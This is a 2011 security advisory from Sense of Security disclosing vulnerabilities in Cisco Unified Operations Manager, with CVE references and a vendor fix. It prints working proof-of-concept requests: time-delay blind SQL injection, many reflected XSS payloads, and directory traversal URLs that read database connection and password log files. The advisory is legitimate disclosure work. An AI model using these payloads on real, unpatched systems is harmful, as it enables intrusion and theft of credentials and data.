Sense of Security - Security Advisory - SOS-11-006

Release Date.                  18-May-2011
Last Update.                   -
Vendor Notification Date.      28-Feb-2011
Product.                       Cisco Unified Operations Manager
                               Common Services Framework Help Servlet
                               Common Services Device Center
                               CiscoWorks Homepage
                               Note: All of the above products are
                               included by default in CuOM.
Platform.                      Microsoft Windows
Affected versions.             CuOM 8.0 and 8.5 (verified),
                               possibly others.
Severity Rating.               Medium - Low
Impact.                        Database access, cookie and credential
                               theft, impersonation, loss of
                               confidentiality, local file disclosure,
                               information disclosure.
Attack Vector.                 Remote with authentication
Solution Status.               Vendor patch (upgrade to CuOM 8.6 as
                               advised by Cisco)
CVE reference.                 CVE-2011-0959 (CSCtn61716)
                               CVE-2011-0960 (CSCtn61716)
                               CVE-2011-0961 (CSCto12704)
                               CVE-2011-0962 (CSCto12712)
                               CVE-2011-0966 (CSCto35577)

Details.
Cisco Unified Operations Manager (CuOM) is a NMS for voice developed by
Cisco Systems. Operations Manager monitors and evaluates the current
status of both the IP communications infrastructure and the underlying
transport infrastructure in your network.

Multiple vulnerabilities have been identified in Cisco Unified
Operations Manager and associated products. These vulnerabilities
include multiple blind SQL injections, multiple XSS. and a directory
traversal vulnerability.

1. Blind SQL injection vulnerabilities that affect CuOM
CVE-2011-0960 (CSCtn61716):
The Variable CCMs of PRTestCreation can trigger a blind SQL injection
vulnerability by supplying a single quote, followed by a time delay
call:
/iptm/PRTestCreation.do?RequestSource=dashboard&MACs=&CCMs='waitfor%20
delay'0:0:20'--&Extns=&IPs=

Additionally, variable ccm of TelePresenceReportAction can trigger a
blind SQL injection vulnerability by supplying a single quote:
/iptm/TelePresenceReportAction.do?ccm='waitfor%20delay'0:0:20'--

2. Reflected XSS vulnerabilities that affect CuOM
CVE-2011-0959 (CSCtn61716):
/iptm/advancedfind.do?extn=73fcb</script><script>alert(1)</script>23fb
e43447
/iptm/ddv.do?deviceInstanceName=f3806"%3balert(1)//9b92b050cf5&deviceC
apability=deviceCap
/iptm/ddv.do?deviceInstanceName=25099<script>alert(1)</script>f813ea8c
06d&deviceCapability=deviceCap
/iptm/eventmon?cmd=filterHelperca99b<script>alert(1)</script>542256870
d5&viewname=device.filter&operation=getFilter&dojo.preventCache=129851
8961028
/iptm/eventmon?cmd=getDeviceData&group=/3309d<script>alert(1)</script>
09520eb762c&dojo.preventCache=1298518963370
/iptm/faultmon/ui/dojo/Main/eventmon_wrapper.jsp?clusterName=d4f84"%3b
alert(1)//608ddbf972
/iptm/faultmon/ui/dojo/Main/eventmon_wrapper.jsp?deviceName=c25e8"%3ba
lert(1)//79877affe89
/iptm/logicalTopo.do?clusterName=&ccmName=ed1b1"%3balert(1)//cda6137ae
4c
/iptm/logicalTopo.do?clusterName=db4c1"%3balert(1)//4031caf63d7

Reflected XSS vulnerability that affect Common Services Device Center
CVE-2011-0962 (CSCto12712):
/CSCOnm/servlet/com.cisco.nm.help.ServerHelpEngine?tag=Portal_introduc
tionhomepage61a8b"%3balert(1)//4e9adfb2987

Reflected XSS vulnerability that affects Common Services Framework
Help Servlet CVE-2011-0961 (CSCto12704):
/cwhp/device.center.do?device=&72a9f"><script>alert(1)</script>5f5251a
aad=1

3. Directory traversal vulnerability that affects CiscoWorks Homepage
CVE-2011-0966 (CSCto35577):
http://target:1741/cwhp/auditLog.do?file=..\..\..\..\..\..\..\boot.ini
cmfDBA user database info:
http://target:1741/cwhp/auditLog.do?file=..\..\..\..\..\..\..\Program 
Files\CSCOpx\MDC\Tomcat\webapps\triveni\WEB-INF\classes\schedule.prope
rties
DB connection info for all databases:
http://target:1741/cwhp/auditLog.do?file=..\..\..\..\..\..\..\Program 
Files\CSCOpx\lib\classpath\com\cisco\nm\cmf\dbservice2\DBServer.proper
ties
Note: When reading large files such as this file, ensure the row
limit is adjusted to 500 for example.
DB password change log:
http://target:1741/cwhp/auditLog.do?file=..\..\..\..\..\..\..\Program 
Files\CSCOpx\log\dbpwdChange.log
Solution.
Upgrade to CuOM 8.6. 
Refer to Cisco Bug IDs: CSCtn61716, CSCto12704, CSCto12712 and
CSCto35577 for information on patches and availability of fixes.

Discovered by.
Sense of Security Labs.

About us.
Sense of Security is a leading provider of information
security and risk management solutions. Our team has expert
skills in assessment and assurance, strategy and architecture,
and deployment through to ongoing management. We are
Australia's premier application penetration testing firm and
trusted IT security advisor to many of the countries largest
organisations.

Sense of Security Pty Ltd 
Level 8, 66 King St
Sydney NSW 2000
AUSTRALIA

T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
W: http://www.senseofsecurity.com.au
E: info@senseofsecurity.com.au
Twitter: @ITsecurityAU

The latest version of this advisory can be found at:
http://www.senseofsecurity.com.au/advisories/SOS-11-006.pdf

Other Sense of Security advisories can be found at:
http://www.senseofsecurity.com.au/research/it-security-advisories.php